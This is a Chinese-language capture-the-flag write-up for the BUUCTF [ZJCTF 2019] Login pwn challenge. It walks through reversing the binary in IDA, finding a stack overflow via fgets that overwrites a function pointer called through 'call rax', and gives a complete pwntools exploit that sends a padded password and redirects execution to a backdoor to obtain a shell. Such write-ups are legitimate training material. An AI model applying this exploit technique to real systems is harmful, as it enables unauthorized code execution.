BUUCTF [ZJCTF 2019]Login

 拿到题目依然是放入ida

 居然是用c++编写的程序，看的都头痛，观察代码，推测该程序的用户名为“admin”密码为“2jctf_pa5sw0rd”试一试在程序输入

发现程序报错了，返回ida查看匹配密码的函数

 

 发现有个奇奇怪怪的（**a1）函数，在伪代码中看不出端倪，所以进入汇编代码看看怎么个事！

 

 里面居然有个 call rax的操作，也就是说如果我们能控制这里的rax使其rax里面的内容为后门函数，我们就可以直接调用到后门函数中，拿到shell。ida中我们可以看到只有输入密码有个fgets的函数给我们栈溢出。

 观察我们写入的s

 我们输入的s中只能覆盖var_58以下的内容

 理论上我们直接覆盖var_68成后门函数就可以拿到shell了，可是var_68在s上面，覆盖不到，那我们只能继续观察var_68中被rdi赋值的内容在哪里了。

 通过往前逆向观察汇编，发现被赋值成了var_130依然覆盖不了，继续跟进我们可以看到rdi最终赋值成了rax，跟进最近的一个函数：password_checker，查看rax被赋值成什么。

 最终发现了rax最终被赋值成了在var_18的位置，终于找到了一个我们可以覆盖的一个位置了，我们只需要将var_18覆盖成后门函数就可以获得shell

程序自带一个后门函数，开始构造payload进行覆盖，覆盖到var_18的偏移量为 0x60-0x18=0x48

以下为完整exp

from pwn import*
p=remote('node5.buuoj.cn',25068)
#p=process("./aaa")
shell=0x400e88
payload=b'2jctf_pa5sw0rd'
payload=payload.ljust(0x48,b'\x00')
payload+=p32(shell)
p.recv()
p.sendline(b"admin")
p.recv()
p.sendline(payload)
p.interactive()

 该题主要难点为保护开了canary，且观察汇编有什么其他办法直接跳转到后门函数